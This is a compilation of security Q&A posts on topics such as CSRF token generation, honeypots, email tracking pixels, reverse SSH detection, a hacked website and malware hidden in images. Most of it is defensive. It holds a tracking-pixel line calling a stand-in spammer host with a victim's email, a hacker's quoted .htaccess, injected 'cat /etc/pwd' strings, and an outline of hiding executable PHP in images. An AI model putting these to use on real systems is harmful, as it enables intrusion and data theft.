$csrfToken = base64_encode(hash("sha256", $urandom_data . "nS7W7@IEPJ~6&&vp#r>ziW-SGOC?s>!,.(s" . uniqid(mt_rand(100, 999) . microtime(), true), true));
Add client IP and port (this improves security a bit, especially if client IP address is not known to attacker), e.g. $handle = fopen("/dev/urandom", "rb");
$urandom_data = fread($handle, 16);
if(strlen($urandom_data)!==16) exit("Unable to read /dev/urandom");
fclose($handle);
$csrfToken = base64_encode(hash("sha256", $urandom_data . $_SERVER["REMOTE_ADDR"] . ":" . $_SERVER["REMOTE_PORT"] . "nS7W7@IEPJ~6&&vp#r>ziW-SGOC?s>!,.(s" . uniqid(mt_rand(100, 999) . microtime(), true), true));
This does not improve security, but makes the generation algorythm more understandable - remove uniqid() stuff and replace it with pure microtime(), e.g. $handle = fopen("/dev/urandom", "rb");
$urandom_data = fread($handle, 16);
if(strlen($urandom_data)!==16) exit("Unable to read /dev/urandom");
fclose($handle);
$csrfToken = base64_encode(hash("sha256", $urandom_data . $_SERVER["REMOTE_ADDR"] . ":" . $_SERVER["REMOTE_PORT"] . "nS7W7@IEPJ~6&&vp#r>ziW-SGOC?s>!,.(s" . microtime(), true));
(Added later) Add HTTP Cookie request header to input of hash function. This has dual effect on security - good part is that CSRF token depends also on session cookie (so attacker must know/guess victim's session cookie to calculate CSRF token - in most cases session cookie is more critical); bad part is that attacker may try to "guess" session cookies based on any CSRF tokens saved in browser history. To make this guess computationally harder (at the expense of server resources) Cookie header can be hashed alone before adding it, e.g. $handle = fopen("/dev/urandom", "rb");
$urandom_data = fread($handle, 16);
if(strlen($urandom_data)!==16) exit("Unable to read /dev/urandom");
fclose($handle);
$csrfToken = base64_encode(hash("sha256", $urandom_data . $_SERVER["REMOTE_ADDR"] . ":" . $_SERVER["REMOTE_PORT"] . "nS7W7@IEPJ~6&&vp#r>ziW-SGOC?s>!,.(s" . microtime() . hash("sha256", $_SERVER["HTTP_COOKIE"], true), true));

P.S. Notice that variable-length digit strings are concatenated using non-digit separators (to avoid some non-equivalent string sets resulting in equivalent concatenated values).

P.S.2 Looks like there is a bracket (")") missing in question post code.

P.S.3 More on meaning of cryptographic hash function here. Hash function does the following:

Adds NO entropy - has functions are deterministic (hash function will always produce the same output from each particular input). It is important to understand that no entropy is added (even if length of string is increased). SHA-256 from string "A" will be 32 bytes long, but it will still be a well known value (you can just Google this hash in hexadecimal to find out how popular it actually is).
Mixes and obfuscates (this time obfuscate does not mean something avoidable and insecure) the input - the only way attacker can determine the input is by guessing it. Basically hash function introduces an all-or-nothing principle - either attacker knows entire input (and can verify it by computing the hash) or attacker does not know which parts of the input he has predicted are correct. As a result hash function allows to increase security by adding a long, random secret constant (step 2 mentioned above), without use of the hash function attacker would see the constant in all observed CSRF tokens (thus he would know what the constant is and that it must be added).
(Very closely related to 2.) Makes attacker to spend some computational resources with each "guess" of the input of hash function. In article mentioned above the attacker uses GPU (video card), because he must do large number of "guesses" and that would take very long time on CPU. The more complex (less predictable) input of the hash function is, the more computational resources attacker must use to guess the input. If the attacker has enough computational resources for "guessing" the input of the hash function used to generate CSRF token (as said before, amount of computational resources needed depends on complexity/predictability of the input), he can sample the input and start to analyze how it is composed, identify constant parts etc.

For further reading on application of cryptographic hash functions the following Wikipedia articles are relevant: Cryptographic hash function, Hash-based message authentication code.

P.S.4 Partial off-topic: As mentioned earlier, it can be easy for an attacker to extract the constant and generation code by attacking shared hosting environment.


Break anonymity in a Kippo honeypot I've installed a Kippo honeypot on my server and I wanted to know if there are some tools I can launch to collect more information about the cracker.

I want more information to be able to start some forensics stuff.

There is nothing you can "install" to deanonymize an attacker. Once you get the data from Kippo about the IP and connection type, you have as much as you can get unless the attacker reveals more about themselves from their actions. There are tools that you can use to enhance the data a little, but that does not break anonymity.

Most of the investigations that uncover the cracker's identity that I have successfully performed have been the result of the files they try to install or the download locations they use or the passwords they try to use. So, it's all down to a manual investigation. It's not the data that Kippo captures that does it, it's the data that the Kippo data points to that does it. And it's difficult to predict what that might end up being.

... Unless you break the law and hack the hacker back. I know one person who ran a Kippo honeypot and configured a script to use the same password the attacker set for a new account to try to log in to the attacker's machine. He had a 10% success rate (attackers re-using passwords). But, this is illegal in most jurisdictions (unauthorised access).


How to set iptables to drop packets that I'm not listening on? I've got a Kali Linux box I use for pen testing.

I would like to configure my machine to DROP incoming packets, but only when I'm not listening on them.

e.g. if I run a netcat listener on port 80, I would like connections from the internet to be possible, but as soon as I stop netcat I would like the packets to be dropped rather than rejected.

I know this would be possible by the use of scripts, but is there any support for iptables to do this automatically?

I have had a suggestion to use the NFQUEUE target for all incoming packets, but then I'll have to modify the source of the listening application (if no user-space application is listening on the specified queue, the packets are dropped).

If never seen this done without a script, so here is a baseline script for you to accomplish this:

checkht="lsof -c httpd | awk '{print $1}' | uniq | grep h"

if [ -n "$checkht" ]; then

    echo "webserver is running let me shut down uptables rules blocking HTTP"
    iptables -vnL --line-numbers |awk '/tcp dpt:80/{print "iptables -D INPUT "$1}' | sh

else

   iptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 80 -j DROP

fi

Checks to see if http is running, if it is, it makes sure that IPTABLES has no rule blocking HTTP. If it's not running, it blocks the world from reaching that port. However, because you're not listening on the port, the rule to block makes little sense. There is nothing for anyone to attack since nothing is running.


how to know that my pc is 100% clean? I work as a programmer ,i want to make sure that no remote access tools RATS are on my pc before i work on my new project. it happened before that after finishing a hard project, a hacker went on my pc and stole my code and started black-mailing to give it back.

Like others have said, firewall, and if you feel it necessary IDS/IPS too.  But to me, it's the wrong question.  You need to address these things:
Forensics
Have you managed to work out how you were comprimised before?  If not, it would be a good place to start.  Knowing how your system ended up with a RAT on it in the first place means you can close off that door
Firewall
As mentioned by a few others, firewall that stuff.  A box running two NICs and using   UFW or Iptables to filter traffic is a good start, although make sure that box is itself very locked down.  Consider whether you need to run each service on the firewall box too.  e.g. if it's in the same room as you, does it need SSH/telnet running, or can you just use it in person?
IDS/IPS
If you consider it necessary, you could even add an Intrusion Protection/Detection System to the box.  There are several freeware tools to consider in this regard.
System hardening
Both on the box you proxy through, and the box you develop on, consider some hardening.  Get a software firewall that is good for your OS, and antivirus for that OS too, and ideally some way to check regularly for Rootkits etc.
Good practices
More important than any of the above is to adopt good practices.  It's no good setting up a hardware firewall if you then open ports whenever something doesn't work, and forget to address whether they need to stay open, and it's no good installing a rootkit finder if you never run it.
All of this said, base what you do on a risk assessment (useful to know how previous exploits worked for risk assessment, too), and don't go overboard.  You could spend a week building a nice little setup with custom hardware firewalls, IDS/IPS protection, hardware level AV, and all manner of other stuff, but if you'd do better with a simpler set up and spending that time working, consider whether that's a better idea.
Audit
Try and find a decent security audit tool for your system.  If you are running linux, I find tiger is pretty good,
Opportunism
The likelihood is that you weren't targeted.  Statistically speaking, people trying to make money out of security holes in a criminal way (like holding code to ransom) aren't seeking out particular individuals to exploit, but rather people who fit a certain demographic.  It's more likely that you were exploited last time because some script kiddie could find a dev server of some sort running or something like that, and was scanning for these particular things in order to perform the exploit on you that they did.  Your biggest aim is to make yourself hard to find and then target, as this is a much more likely scenario than a direct target of you and only you.  The other thing that makes me think this is that you were extorted for money, whereas a targetted attack would probably be trying to steal your code and keep it.
Consider whether you may have been targeted, but I think on the whole, closing any security holes you can find will be a good first step.  I think you can probably avoid this problem again with just the firewall, but a lot depends on how you were comprimised.


Why infamous Addtrust certificate is still not expired (same private key) for code signing? As many of you know Addtrust certificate https://crt.sh/?id=1 expired 30 May 2020 as well as many other intermediate certs and now we have to update certs on many servers to either root cert https://crt.sh/?id=1199354 or using another chain with above mentioned root (same private key) as intermediate https://crt.sh/?id=1282303295 signed with another root https://crt.sh/?id=331986. This is all good according to RFC 4158. The same BTW about ECC keys.
But what I do not understand is how is this possible that expired root Addtrust key https://crt.sh/?id=1 has one still valid certificate https://crt.sh/?id=162879063 for code signing from Microsoft? You can click on "Subject Public Key Info:" to find all other keys with same private/public key pair. So, can we use it for web or it is only for binaries signing and Microsoft Code Verification Root SHA1 is not trusted for web https://crt.sh/?id=162461728 (actually if you will download it http://www.microsoft.com/pki/certs/MicrosoftCodeVerifRoot.crt Windows will say it is not trusted)? Should not it be revoked???

My understanding is that the Microsoft Code Verification Root (MCVR) is just used by the Windows kernel to decide whether a .sys driver file should be allowed to be loaded into the kernel.  I wrote a lot about this. I don't think it is useful for websites, because the MCVR does not appear to be in the "Trusted Root Certification Authorities" list on my Windows 10 computer.   You could check some other root certificate lists to get more verification of this.


What is the difference between protocols and algorithms? I am learning network security and I can't understand the boundary line between protocols and algorithms.

Are algorithms the concrete realization of the protocols?
Are protocols composed of several algorithms?

This two words as nothing common... (like searching for differences between house and business)

A protocol, like in politic, describe the form of a communication or exchange and have to be respected
Algorithms are such cook books who describe the manner of reaching a goal and have to be applied or followed (@community: Please edit! I'm not sure about best verb to write there... executed, developped, build... ).

The respect of a protocol could require the use of no, one or many algorithms, depending on what we are speaking about.

You may use some algorithms locally for your own needs, without having to respect any protocol...


How have DNS recursion attacks happened? There are a few resources describing how to carry out DNS recursion attacks. Is there any good explanation to help me understand how these attacks work and if systems on my network are still vulnerable?

The basic "Mother of all Recursion Attacks" was published by Dan Kaminsky.

The basic summary is that you ask for a site and provide an answer with the appropriate query idea for the recursive server before that server gets the real answer.

The best resource I've got for you is An Illustrated Guide to the Kaminsky DNS Vulnerability which describes how the recursive system worked and why the flaw was possible.


How to use information from GHDB and FSDB (Google-Dorks)? I am new to information security and analysis.

Recently, I came across FSDB (Foundstone database) and GHDB (Google Hacking database) while exploring the McAfee Foundstone Sitedigger tool.

What are FSDB and GHDB? And importantly, how can I use the information from these databases to learn about vulnerabilities of websites?

Google Hacking refers to the practice of using search engines, like Google and Bing, in order to discover vulnerable web pages and critical information. It's based on the idea that search engines index a lot of public pages and files, making their discovery a simple matter of building the correct query.

For example, it's trivial to look for a specific type of file (filetype:), on a specific domain (site:), with a specific name (inurl:), containing a certain string (intext:).

The Google Hacking Database (GHDB) was started by Johnny Long, who also published books on the matter, but is now mantained and updated at Exploit Database. I suggest taking a look at some real examples to better understand GH.

As an ending note, the origin of the term google dork, as stated by Johnny himself:

  We call them 'googledorks': Inept or foolish people as revealed by Google.


pfx file encryption algorithm This seems like it should easily documented but I am unable to find.
My c# code does this to create a pfx file.
X509Certificate2 cert = store.Certificates.Find(X509FindType.FindByThumbprint, thumbPrint, false);
                    File.WriteAllBytes("certFile.pfx", cert.Export(X509ContentType.Pfx, password));

The class X509Certificate2 is from System.Security.Cryptography.X509Certificates which appears to be a built-in .NET library.
I would like to know what encryption algorithm is being used to protect the pfx file. I want to confirm whether it is AES256 or not, but I can't seem to find this information anywhere.
I tried running this OpenSSL command on my "certFile.pfx" file. I had trouble with password so I used "no password" command line. Does this mean that the pfx file is encrypted using TripleDES?!
OpenSSL> pkcs12 -info -in C:\certFile.pfx -nomacver -noout -passin pass:unknown
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
Error outputting keys and certificates
89924:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:crypto\evp\evp_enc.c:570:
89924:error:23077074:PKCS12 routines:PKCS12_pbe_crypt:pkcs12 cipherfinal error:crypto\pkcs12\p12_decr.c:63:
89924:error:2306A075:PKCS12 routines:PKCS12_item_decrypt_d2i:pkcs12 pbe crypt error:crypto\pkcs12\p12_decr.c:94:
error in pkcs12

Does this mean that the pfx file is encrypted using TripleDES?

Yep. PFX/PKCS#12 files originally used an extended version of PBES1 (Password-Based Encryption Scheme 1) which added support for DES3-EDE (aka TripleDES aka 3DES). Support for PBES2 (which automatically brought in AES) has since been added, but for Windows that was only done in Windows 10 (IIRC).
Since everyone who could read PFXes could read them with PBES1/PKCS12-3DES, but not everyone can read them with PBES2/AES, "everyone" still defaults to producing files with 3DES.


How might an email do damage merely by being opened? E.g. http://www.dailymail.co.uk/sciencetech/article-2094982/Threat-new-virus-infected-emails-PC-DONT-open-attachments.html?ito=feeds-newsxml

Assuming that the user clicks no links and opens no attachments in the email or anything of that sort — just opens it.

I'll give you a really simple example. A common spammer trick way back before clients were updated to counter this was to embed a 1px square GIF in an HTML email. You'd get a message like this:

<img src="http://nastyevilspammer.invalid/pic.gif?email=poorvictim@domain.com" />

Needless to say, that pic.gif is in fact a cgi script which takes a get parameter. The result looks like this:

Client opens email.
Client automatically renders html including fetching all remote content.
nastyevilspammer.invalid is asked for that address, including the email in the get parameter.
A program is triggered on the server, records the get parameter and returns the 1px GIF.

This trick was used to confirm email addresses as active spam targets, to move them onto active address lists, which spammers then sell.

The problem, and solution, lies in step 2 - automatically trusting the incoming content.

Bugs in the email client that only require the email to be read require a bug in the client reader that can be used to trigger the exploit. For example, a HTML rendering engine might load the flash player. It's unlikely, but there could be exploits in the client's string processing code. And so on.

Now, this also applies to web clients too - who will be supplying html to the browser to render, thus opening up all attached browser vulnerabilities. I wasn't going to read the article, but I now have:

  The new generation of e-mail-borne malware consists of HTML e-mails which automatically downloads malware when the e-mail is opened.'

The article is a little light on details, but I'd like to take time to provide some more calm advice:

This is the Daily Mail and I'm from the UK. They do have a tendency to scare stories.
This is not by any means a "new generation" of malware. People have been exploiting HTML-email bugs since the Stone Age, or at any rate since before the first Matrix movie, and drive-by-downloads have been going for a while too.
A very simple counter measure is to configure your email client not to render html content at all, by default. You can then optionally load html email from trusted sources. Most decent email readers can do this and do this by default - including GMail and Thunderbird (the two clients I use).
You can go a long way to improving your chances of avoiding malware by doing the usual: turn on Windows Updates. Install firewall/antivirus. Be careful of what sites you visit. Add security-focused extensions to your browser (NotScripts, noscript etc). Use the latest browser and OS you can. Etc.

and finally:
Email may appear to come from your contacts/friends, but you've no way to verify that - be wary. Your bank/building society do not need you to verify your contact details via the internet - if they did have an issue they'd likely write to you and if you're ever unsure, go to your branch. A rich man in Nigeria has not  left you a large inheritence, those blue pills don't work and anything else that seems too good to be true probably is.


How does a network admin block the reverse SSH in company? Given firewall

inbound: all are blocked
outbound: allow port 80, 443

Problem

colleagues are still able to ssh to home device by port 80/443, and establish a reverse ssh tunnel from company to home, and further from home to company.

Question

Besides asking HR to add a penalty rule in company policy handbook, is it able for network admin to block reverse ssh in a technical way?

SSH traffic looks different from HTTP and HTTPS. SSH traffic simply tunneled through port 80 or 443 (i.e. ssh -p80...) can be detected by looking at the first response packet already which contains the SSH version and not the HTTP version or the TLS ServerHello. But you could also simply enforce the use of a HTTP proxy inside the network which makes the use of plain SSH impossible.

This leaves the possibility to tunnel SSH inside some other protocol, like simply creating a tunnel through the proxy using a CONNECT request or even hiding the SSH connection within a full TLS connection, using plain HTTP, using WebSockets,  with DNS or similar. This is much harder to detect although some statistical analysis might help because SSH shows a different behavior than normal HTTP traffic. But such analysis might be easily confused with today's common WebSockets traffic.

At the end it is a race and you should ask yourself why you focus on SSH tunnels anyway. These tunnels are nothing but a tool to transport data between inside and outside. Such data transports can also be done using normal HTTP/HTTPS, can be done with USB sticks etc. Thus focusing on a single vector do prevent data leakage or to prevent the attacker entering the network is IMHO the wrong way. And for having a policy: it is more secure to have a white list on what is allowed than to have a black list on what is not allowed.


Android mobile application security testing I am a newbie to Android application security. I would like to know how to tunnel the Android app traffic to Burp Proxy. I have already set the proxy in the emulator and that is working fine. But the application is not using the Burp Suite CA and throwing errors and as a result the application traffic is not showing in Burp Suite.

Could anyone suggest me how to achieve this?

I think it depends on the app. If it uses the system wide Cert settings then you can try importing the Burp CA onto the phone/emulator. You can load the http://burp url in the browser of the phone and then download the CA there, but this only works when Burp is already set as a proxy on the phone. More info here:

https://support.portswigger.net/customer/portal/articles/1841102-Mobile%20Set-up_Android%20Device%20-%20Installing%20CA%20Certificate.html

If the app implements some kind of cert validation itself, then you might need to turn that off somehow, or install the server's private key and cert in burp, of course only if you have them.


What kind of attack was this? So our website was hacked, and these are the things that were done:

Some entries in the database were changed. I don't know if this was via SQL injection, or direct database access (only root is allowed to make database changes, is it possible to emulate root or obtain its password?) or through the CMS of the website. My guess is that it was through the CMS.
The code of the index page was changed to some dramatic declaration of hacking success on the part of the hacker.

I just got a free scan done from Qualys (https://freescan.qualys.com/freescan-front/module/freescan/#scan_report?id=39003&) which says that SSL Server Allows Anonymous Authentication Vulnerability. This is probably true because whenever I log in to FTP, it tells me that some certificate isn't valid, but I always just ignore and hit "Continue". I'm using a VPS (not shared) account on my hosting company's server.

What are the first things I should look to fix?

Edit #1

I just found some weird files added on the server, including a "wso.php" which appeared to be accessing cookies and other things with system passwords.
Then in the public_html folder I found a new folder I hadn't seen before, called sym, and when i opened it, lo and behold it had a folder called root which was basically a recursive clone of my entire root folder, and next to it an .htaccess which said the following:

 Options all
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php
 AddType text/plain .html
 AddHandler txt .html
 Require None
 Satisfy Any

I have a few questions -

Does that give any more hints on what kind of attack this was?
Are these "evil"  .htaccess contents?
One of the files was boy.php.jpg. Given that one of the site's forms allows users to upload images, stores their file paths, and then through a DB-backed CMS accesses those uploaded images, could this have been a SQL injection where a malicious file dressed as an image was uploaded and then accessed as regular page content?

My company's annoyed by the hack but I have to admit I'm a tad excited about this mystery! (a total newbie at security as you can probably tell)

Edit #2

Yet another update. I discovered this page:
http://dealshop.cc/a7a/

What is this and any idea how it works? My website is one of the ones listed, so maybe the shell was "uploaded" as a jpg file?

Edit #3

For some reason it didn't occur to me to mention this earlier, but my MySQL database has been hacked - when I browse tables through phpMyAdmin, some of the ID columns of some tables are full of lines like cat /etc/pwd and +response.write(9062801*9462776)+. Does this mean that the entry point was definitely a SQL injection?

Get a known clean version of your site and identify the differences between the known good code the and current (hacked) production code. Study how the changes may have been made and repair.
Update the passwords.
Fix the FTP certificate issue - consider using 2 factor authentication.
Find a way to scan your code for vulnerabilities - peer review or automated analysis.
Enable logging so if this happens again you have log files. If you already have decent logging, look at the files accessed and see if there's injection via the URL.
Consider using a web application firewall.
Tell your legal department, the police, partners, customers if you believe their data to have been stolen or compromised


Windows tokens manipulation I am creating a demo of the infamous windows tokens manipulation.

the scenario I am using is as follows:

A single PC connected to the domain controller. 2 users are signed in the DC through that computer. A regular user and a domain admin.

I am using nishang to enumerate tokens but no tokens are found.

How can I create tokens in order to use them?

Thanks.

Simplifying this greatly, the tokens you're looking for are going to be attached to processes created by interactive logons. If you've got a domain admin logged on interactively, you've got domain admin tokens.

I'm not familiar with how Nishang enumerates tokens, but I've had pretty good experiences with Meterpreter. Maybe give that a go?


How CryptoPHP: Sneaky malware works? This  malware is hidden in pirated themes and plug-ins for CMS .
the ‘social.png’ file confirmed we had found the backdoor; as it contained a big blob of obfuscated PHP code .

My question is how hacker use the code infused inside an image  ?

Can i execute an image file as a php keeping php code in an image ?

Even if i infuse some php code in a binary or hexa format into an image file , how  hackers use the image .

How to use the code infused inside an image .

I bet there's a small piece of code hidden somewhere that takes care of deobfuscating the real payload from the image and then executing it; that allows the attackers to have a very small piece of malware that they can easily hide somewhere in an otherwise unoffensive PHP file, while keeping the big and not-so-sneaky malware in an image which allows it to go unnoticed most of the time, unless someone knows what to look for.

For the "how to use" part, find a way to embed PHP code in an image (it may be as simple as a PHP file renamed to .png to something more sneaky like steganography that won't be noticeable just by looking at the displayed image), then create a little piece of code that takes care of deobfuscating your actual payload and then executing it.

Also I've read somewhere that badly configured web servers can serve image files as text, which results in a big mess of Unicode characters when viewed in a browser, but what's interesting is that PHP code in these "images" will get executed.


Security problems with password-less SSH Is there any downside of configuring password-less SSH authentication?

Although it is very handy and secure, if someone gets access to my system with my account and there is password-less authentication set-up to many servers, isn't it a potential security problem?

There are three different scenarios here:

SSH password authentication. Here, the SSH server accepts a password. If the password's compromised, the system's compromised, regardless of where the attacker is.
Key authentication without security on the key file. Here, the system will only allow access if you present the appropriate key file. Shifts the problem, and gives you something less to remember, but means that you need to connect from or through one of your known hosts.
Key authentication with the keys secured with a passphrase. Here you enter the passphrase at the beginning of the session to unlock the key, and that's used for all subsequent authentication. An attacker needs both the key and your passphrase, but you do need to unlock it every time.

The security of 1 vs. 2 is debatable, they're both fundamentally 1-factor authentication (what you know and what you have, respectively), however, option 1 could theoretically be brute-forced on an internet-facing service. It secures against opportunistic attacks, but would stand up as much against something targeted. 3, on the other hand, is 2-factor, in that you have to have both parts of the equation to do anything. It increases the inconvenience (need to come from known host, and need to enter passphrase), but the security benefits are also significant.


Should RSA public exponent be only in {3, 5, 17, 257 or 65537} due to security considerations? In my project I'm using the value of public exponent of 4451h. I thought it's safe and ok until I started to use one commercial RSA encryption library. If I use this exponent with this library, it throws exception.

I contacted developers of this library and got the following reply: "This feature is to prevent some attacks on RSA keys. The consequence is that the exponent value is limited to {3, 5, 17, 257 or 65537}. Deactivating this check is still being investigated, as the risks may be great."

It's the first time in my life I hear that values other than {3, 5, 17, 257 or 65537} are used to break RSA. I knew only of using 3 with improper padding being vulnerable.

Is that really so? Surely, I can use another library, but after such answer I worried about security of my solution.

There is no known weakness for any short or long public exponent for RSA, as long as the public exponent is "correct" (i.e. relatively prime to p-1 for all primes p which divide the modulus).

If you use a small exponent and you do not use any padding for encryption and you encrypt the exact same message with several distinct public keys, then your message is at risk: if e = 3, and you encrypt message m with public keys n1, n2 and n3, then you have ci = m3 mod ni for i = 1 to 3. By the Chinese Remainder Theorem, you can then rebuild m3 mod n1n2n3, which turns out to be m3 (without any modulo) because
n1n2n3 is a greater integer. A (non modular) cube root extraction then suffices to extract m.

The weakness, here, is not the small exponent; rather, it is the use of an improper padding (namely, no padding at all) for encryption. Padding is very important for security of RSA, whether encryption or signature; if you do not use a proper padding (such as the ones described in PKCS#1), then you have many weaknesses, and the one outlined in the paragraph above is not the biggest, by far. Nevertheless, whenever someone refers to an exponent-size related weakness, he more or less directly refers to this occurrence. That's a bit of old and incorrect lore, which is sometimes inverted into a prohibition against big exponents (since it is a myth, the reverse myth is also a myth and is no more -- and no less -- substantiated); I believe this is what you observe here.

However, one can find a few reasons why a big public exponent shall be avoided:

Small public exponents promote efficiency (for public-key operations).
There are security issues about having a small private exponent; a key-recovery attack has been described when the private exponent length is no more than 29% of the public exponent length. When you want to force the private exponent to be short (e.g. to speed up private key operations), you more or less have to use a big public exponent (as big as the modulus); requiring the public exponent to be short may then be viewed as a kind of indirect countermeasure.
Some widely deployed RSA implementations choke on big RSA public exponents. E.g. the RSA code in Windows (CryptoAPI, used by Internet Explorer for HTTPS) insists on encoding the public exponent within a single 32-bit word; it cannot process a public key with a bigger public exponent.

Still, "risks may be great" looks like the generic justification ("this is a security issue" is the usual way of saying "we did not implement it but we do not want to admit any kind of laziness").


How do we 'initiate' mail exchange with PGP I am totally new with PGP, and I would like to know how I can initiate a mail exchange with it.

I created my public/private keys, and posted my private key on the MIT PGP Public Key Server. I can find it on the site now.

What's next? How do I create the encrypted message? (without the need of any software. I just want to understand)

I'm thinking about:

# I write my message
$ vim message
$ cat message
Hello, can you read this?

# Add the fingerprint of my public key so the recipient will be able to find the public key on pgp.mit.edu.
$ gpg --fingerprint my-mail-address >> message

# Create the message (I imported the recipient's public key)
$ cat message | gpg --encrypt --armor -r recipient@mail.address
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1

[Base64]
-----END PGP MESSAGE-----

Is this right?

Apart from useless use of cat (<message gpg --encrypt [...] or gpg --encrypt [...] message would do, too) I don't see a real problem here. Adding your fingerprint is sufficient; as an alternative you could also --sign the document (the signature also includes it).

The only thing you shouldn't do is referencing your own key using your user ID, provide your (long) key ID or fingerprint here. Somebody else could create another key with the same user ID, and send you some kind of "drive-by-download" message signed with the fake key, which would result in you possibly downloading it without knowledge.


If a file has previously been scanned by VirusTotal, will the VirusTotal website always indicate this fact? I recently downloaded a very popular open-source application.  Usually, I compile open-source applications myself after reading the source code.  But my compiler box was busy with many tasks, so I decided to download the pre-compiled executable and just run it on a temporary system.  Although that system gets reformatted every day, and doesn't have any network connections, I still wanted to scan the executable for malware.
The executable is distributed by the developer as a zipped executable.  I uploaded the zipped executable to VirusTotal, and I was surprised to see that VirusTotal had no cached results for the hash of the executable of this popular application.  I then performed the same action for the extracted executable.  Same result.
Does that mean that no one - including the developer - even bothered to scan the executable on VirusTotal?  Or can one scan files on VirusTotal without the results being cached?

In my experience, VirusTotal keeps track of the file hashes. For every upload it does a lookup to check if a file has already been scanned before. I checked their policies, but couldn't find how exactly hashing and lookups work and if there is any ageing process.
Submissions to virus total are not normally automated for general software and developers aren't obliged to submit their built executables to VirusTotal. One can argue, it's not the responsibility of developers to notify the AV vendors about a new version of their software. If you ever submitted your own software there, the process can be upsetting, especially when several AVs misclassify your own software as malware and their page to submit a false positive report does not actually work or no one cares on their end to fix a false positive.
Another example, not all files in the Windows\System32 are scanned, I've just submitted an executable from the Windows folder and it hasn't been scanned before. I've also submitted a dll, that was scanned a year ago.
It just means no human or application has uploaded that particular file before, and that's ok.


How to detect eavesdropping by your ISP I've noticed some funny behavior lately with my home Internet connection such as connections dropping frequently, rate limiting occuring, and packet loss.

I know how to get around this online, use a VPN, use disposable virtual machines, Tor, etc. But I kind of want to know IF they are spying on my data and what they are doing with it? Intercepting, monitoring, manipulating, etc.  More specifically, how does one detect eavesdropping which got me thinking, is there a way to tell if my ISP spying on me or monitoring my data other than asking a network admin at my ISP?

connections dropping frequently, rate limiting occuring, and packet loss

Without knowing whether your connection resets are injected TCP reset packets or a result of dropped packets, it's hard to say whether you're actually having your data acted on or just having connection issues. It is entirely conceivable that your line or equipment aren't working quite right.

That said, every sane network provider, ISP, hosting facility, or transit provider monitors interface and by proxy customer bandwidth. Bandwidth caps are very common for residential ISPs in some countries.

None of this addresses whether they're inspecting the contents of your traffic, and unless they're acting on what they see in a way that's visible to you by changing how they handle their traffic (or using your credentials, making stock trades on information you email, etc.), it's impossible to tell. Anybody who routes your traffic is entirely capable of sending a copy to second interface.

When it comes to a 3rd party monitoring you on your own network, looking for diverted traffic is possible. When it comes to asking if somebody who is expected to be in the line of transit is doing something more with the data, there is no trace of it until you see them act on it.


Behavior of trusting a self signed SSL certificate I have just deployed a Turnkey appliance which comes configured with a self signed certificate.

This is a server that only I will be using, so I don't want to pay for a certificate.

If I add this certificate to my web browser's Trusted Root Certification Authorities store:

Will it protect from a MITM attack if the attacker does not have the private key to reproduce the certificate?

What will happen when the certificate expires?

The only difference between a self-signed cert and one issued by a CA is exactly that, the self signed cert is not issued by a CA.  If you trust yourself, then you can trust your "self-signed cert".  It will protect you from MITM as long as you have SSL/TLS configured correctly on your server (ie: you do not accept null ciphers).  When it expires, your browser will issue the same warning that you would get if a public CA signed cert expired.


Distinguishing SSH and HTTPS traffic Alice is an employee of Chris, and Chris does heavy traffic monitoring via its company proxy.

Alice wishes to use a Bob's web service while preserving privacy and confidentiality. She has full control over a miner machine which is reachable from the Chris' company network.

Will Chris be able to distinguish SSH SOCKS proxy traffic on port 443 from a "usual" (unremarkable and mostly ignored by Chris' monitoring systems) HTTPS over the same port and IP pair? If so, how drastic are the detectable differences? Assume arbitrary power of the monitoring systems.

Yes. SSH has standardized and quite distinct handshake packets, so you can very easily detect an SSH session initiation. Here is a transcription of Wireshark capture of an SSH session initiation:

Encrypted request packet len=41
Encrypted response packet len=39
Client: Key Exchange Init
Server: Key Exchange Init
Client: Diffie-Hellman Key Exchange Init
Server: New Keys
Client: New Keys
Encrypted request packet len=48
Encrypted response packet len=48

As you can see, even Wireshark can detect them with ease. Commercial DPI solutions should also be able to detect the type of traffic going in the encrypted tunnel by looking at traffic patterns - i.e. they can understand that you're tunnelling HTTP traffic and not just using the remote shell.

To avoid detection you can wrap SSH traffic into a steganographic tunnel such as obfsproxy, but in this case you're engaging in a steganographic arms race with the packet inspector and have no way of knowing if you're detected or not unless you have access to the packet inspector console.


Can you ever be 100% sure you decrypted a message? Put in simple terms, for most encryption algorithms: can you technically ever be sure you actually decrypted something?

Sure, if you decrypted a word document and MS Word can open it, you've got a pretty good chance you decrypted it right, but maybe it's the 1/90000000000 chance that it just happened to give this kind of message?

For general purposes, you cannot be 100% sure.  If you try the wrong key, you will get a bag of random bits.  Those random bits may look like something valid, but they are still the wrong key.  Monkeys at a typewriter punching out a few lines of Shakespere, and all that.

In theory you could design an encryption algorithm which intentionally lets you know when you get it right.  It would involve adding a block of known content to the message, and verifying that that block is correct when decryption it.  However, you would need to avoid the monkeys at a typewriter problem of random chance happening to decode that block correctly.  You would have to tailor the encryption algorithm and the block of data itself so that you could prove mathematically that no key besides the correct key achieves a match for that block.

Typically this sort of behavior is considered to be a vulnerability in the encryption algorithm, so you don't see it.  It's just too risky to try to add that much provable behavior into your algorithm.  Consider the example of the Enigma, where they found that some output patterns simply couldn't occur due to the layout of the rotors, which was a major factor in the breaking of Enigma.  You would have to intentionally choose an encryption algorithm that has a similar vulnerability.


The use of "over" in cryptography (as in "a hash over the key") This is the ultimate noob question.
When reading discussions of cryptography, I often come across phrases like these:

...calculates a hash over the primary key...
...a key derivation function over a static string...
...an HMAC over the i-th derived key...

Is "over" in these examples just a hip way to say "of"?
More concretely, is there a real technical difference between the sentences above and their counterparts below?

...calculates a hash of the primary key...
...a key derivation function of a static string...
...an HMAC of the i-th derived key...

A hash (or MAC or signature) over something is a hash of that thing at an identifiable position, plus some other stuff. It's a hash of M=P+T+S where P is some prefix, T is the thing and S is some suffix, and there is an unambiguous way of decomposing M into P, T and S.

For example, a certificate of a website is a signature over the site's domain name and its public key. It isn't just a signature of the domain name or a signature of the public key: it's a signature of a compound message from which the domain name and the public key can be extracted.

